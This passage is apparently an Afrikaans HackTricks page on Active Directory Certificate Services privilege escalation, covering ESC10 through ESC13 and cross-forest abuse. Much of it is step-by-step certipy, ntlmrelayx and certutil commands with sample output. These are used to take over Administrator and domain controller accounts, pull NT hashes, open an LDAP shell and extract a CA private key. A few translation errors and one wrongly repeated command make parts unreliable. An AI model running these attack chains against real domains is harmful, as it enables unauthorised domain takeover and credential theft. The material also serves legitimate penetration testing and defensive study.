onderHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
is0x18
(0x8 | 0x10
), voorheen ingestel op0x1F
. - Die verstek instelling vir
StrongCertificateBindingEnforcement
onderHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
is1
, voorheen0
.
Geval 1
Wanneer StrongCertificateBindingEnforcement
ingestel is as 0
.
Geval 2
Indien CertificateMappingMethods
die UPN
bit (0x4
) insluit.
Misbruik Geval 1
Met StrongCertificateBindingEnforcement
ingestel as 0
, kan 'n rekening A met GenericWrite
toestemmings benut word om enige rekening B te kompromiteer.
Byvoorbeeld, met GenericWrite
toestemmings oor Jane@corp.local
, poog 'n aanvaller om Administrator@corp.local
te kompromiteer. Die prosedure weerspieël ESC9, wat enige sertifikaatsjabloon toelaat om gebruik te word.
Aanvanklik word Jane
se hasj opgehaal deur Shadow Credentials te misbruik, wat die GenericWrite
uitbuit.
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
Daarna word Jane
se userPrincipalName
verander na Administrator
, doelbewus om die @corp.local
gedeelte uit te laat om 'n beperkingsoortreding te vermy.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
Volgens hierdie, word 'n sertifikaat wat kliëntverifikasie moontlik maak aangevra as Jane
, met behulp van die verstek Gebruiker
templaat.
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Jane
se userPrincipalName
word dan teruggekeer na sy oorspronklike, Jane@corp.local
.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
Die verifikasie met die verkrygte sertifikaat sal die NT-hash van Administrator@corp.local
lewer, wat die spesifisering van die domein in die bevel noodsaak as gevolg van die afwesigheid van domeinbesonderhede in die sertifikaat.
certipy auth -pfx administrator.pfx -domain corp.local
Misbruikgeval 2
Met die CertificateMappingMethods
wat die UPN
-bitvlag (0x4
) bevat, kan 'n rekening A met GenericWrite
-toestemmings enige rekening B kompromitteer wat 'n userPrincipalName
-eienskap ontbreek, insluitend masjienrekeninge en die ingeboude domein-administrateur Administrator
.
Hier is die doel om DC$@corp.local
te kompromitteer, beginnende met die verkryging van Jane
se has through Shadow Credentials, deur gebruik te maak van die GenericWrite
.
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
Jane
se userPrincipalName
word toe dan ingestel as DC$@corp.local
.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
'n Sertifikaat vir klientverifikasie word aangevra as Jane
deur die verstek Gebruiker
sjabloon.
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Jane
se userPrincipalName
word teruggekeer na sy oorspronklike waarde na hierdie proses.
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
Om te verifieer via Schannel, word Certipy se -ldap-shell
opsie gebruik, wat die suksesvolle verifikasie aandui as u:CORP\DC$
.
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
Deur die LDAP shell, stel opdragte soos set_rbcd
Resource-Based Constrained Delegation (RBCD) aanvalle in werking, wat moontlik die domeinbeheerder kan benadeel.
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
Hierdie kwesbaarheid strek ook tot enige gebruikersrekening wat 'n userPrincipalName
kortkom of waar dit nie ooreenstem met die sAMAccountName
nie, met die verstek Administrator@corp.local
wat 'n primêre teiken is weens sy verhoogde LDAP-voorregte en die afwesigheid van 'n userPrincipalName
per verstek.
NTLM-relaying na ICPR - ESC11
Verduideliking
As die CA-bediener nie ingestel is met IF_ENFORCEENCRYPTICERTREQUEST
nie, kan dit NTLM-relay-aanvalle maak sonder om te onderteken via RPC-diens. Verwysing hier.
Jy kan certipy
gebruik om te ontleed of Enforce Encryption for Requests
uitgeschakel is en certipy sal ESC11
kwesbaarhede wys.
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
Misbruik Scenario
Dit is nodig om 'n relê-diens op te stel:
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
Nota: Vir domeinbeheerders moet ons -template
spesifiseer in DomainController.
Of gebruik sploutchy se fork van impacket:
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
Skeltoegang tot ADCS CA met YubiHSM - ESC12
Verduideliking
Administrateurs kan die Sertifikaatowerheid opstel om dit op 'n eksterne toestel soos die "Yubico YubiHSM2" te stoor.
As die USB-toestel aan die CA-bediener gekoppel is via 'n USB-poort, of 'n USB-toestelbediener in die geval waar die CA-bediener 'n virtuele masjien is, is 'n verifikasiesleutel (soms verwys as 'n "wagwoord") nodig vir die Sleutelbergingverskaffer om sleutels in die YubiHSM te genereer en te gebruik.
Hierdie sleutel/wagwoord word in die register onder HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
in teks bewaar.
Verwysing na hier.
Misbruikscenario
As die CA se privaatsleutel op 'n fisiese USB-toestel gestoor word wanneer jy skeltoegang het, is dit moontlik om die sleutel te herwin.
Eerstens moet jy die CA-sertifikaat verkry (dit is openbaar) en dan:
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
OID Groep Skakel Misbruik - ESC13
Verduideliking
Die msPKI-Certificate-Policy
eienskap maak dit moontlik om die uitreikingsbeleid by die sertifikaatsjabloon te voeg. Die msPKI-Enterprise-Oid
voorwerpe wat verantwoordelik is vir die uitreikingsbeleide kan ontdek word in die Konfigurasie Naamkonteks (CN=OID,CN=Public Key Services,CN=Services) van die PKI OID-houer. 'n Beleid kan aan 'n AD-groep gekoppel word deur hierdie voorwerp se msDS-OIDToGroupLink
eienskap te gebruik, wat 'n stelsel in staat stel om 'n gebruiker te magtig wat die sertifikaat voorlê asof hy 'n lid van die groep is. Verwysing hier.
Met ander woorde, wanneer 'n gebruiker toestemming het om 'n sertifikaat in te skryf en die sertifikaat aan 'n OID-groep gekoppel is, kan die gebruiker die voorregte van hierdie groep erf.
Gebruik Check-ADCSESC13.ps1 om OIDToGroupLink te vind:
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Misbruik Scenario
Vind 'n gebruikerspermissie wat gebruik kan word met certipy find
of Certify.exe find /showAllPermissions
.
As John
toestemming het om VulnerableTemplate
in te skryf, kan die gebruiker die voorregte van die VulnerableGroup
groep erf.
Al wat dit hoef te doen is om die templaat te spesifiseer, en dit sal 'n sertifikaat met OIDToGroupLink-regte kry.
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
Kompromittering van Bosse met Sertifikate Verduidelik in Passiewe Stem
Verbreek van Bosvertroue deur Gekompromitteerde CA's
Die konfigurasie vir kruisbos inskrywing is relatief maklik. Die wortel CA sertifikaat van die hulpbronbos word gepubliseer na die rekeningbosse deur administrateurs, en die ondernemings CA sertifikate van die hulpbronbos word bygevoeg tot die NTAuthCertificates
en AIA houers in elke rekeningbos. Om dit te verduidelik, verleen hierdie reëling die CA in die hulpbronbos volledige beheer oor al die ander bosse waarvoor dit PKI bestuur. Indien hierdie CA deur aanvallers gekompromitteer word, kan sertifikate vir alle gebruikers in beide die hulpbron- en rekeningbosse deur hulle gefabriseer word, wat dus die sekuriteitsgrens van die bos verbreek.
Inskrywingsregte Verleen aan Buitelandse Prinsipale
In multi-bos omgewings is versigtigheid nodig met betrekking tot Ondernemings CA's wat sertifikaatsjablone publiseer wat Geautentiseerde Gebruikers of buitelandse prinsipale (gebruikers/groepe ekstern aan die bos waaraan die Ondernemings CA behoort) inskrywings- en wysigingsregte toelaat.
Met verifikasie oor 'n vertroue, word die Geautentiseerde Gebruikers SID by die gebruiker se token deur AD gevoeg. Dus, indien 'n domein 'n Ondernemings CA besit met 'n sjabloon wat Geautentiseerde Gebruikers inskrywingsregte toelaat, kan 'n sjabloon moontlik deur 'n gebruiker van 'n ander bos ingeskryf word. Net so, indien inskrywingsregte eksplisiet aan 'n buitelandse prinsipaal verleen word deur 'n sjabloon, word 'n kruisbos toegangsbeheer-verhouding daardeur geskep, wat 'n prinsipaal van een bos in staat stel om in te skryf in 'n sjabloon van 'n ander bos.
Beide scenario's lei tot 'n toename in die aanvalsoppervlak van die een bos na die ander. Die instellings van die sertifikaatsjabloon kan deur 'n aanvaller uitgebuit word om addisionele voorregte in 'n vreemde domein te verkry.
{% embed url="https://websec.nl/" %}
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github repos.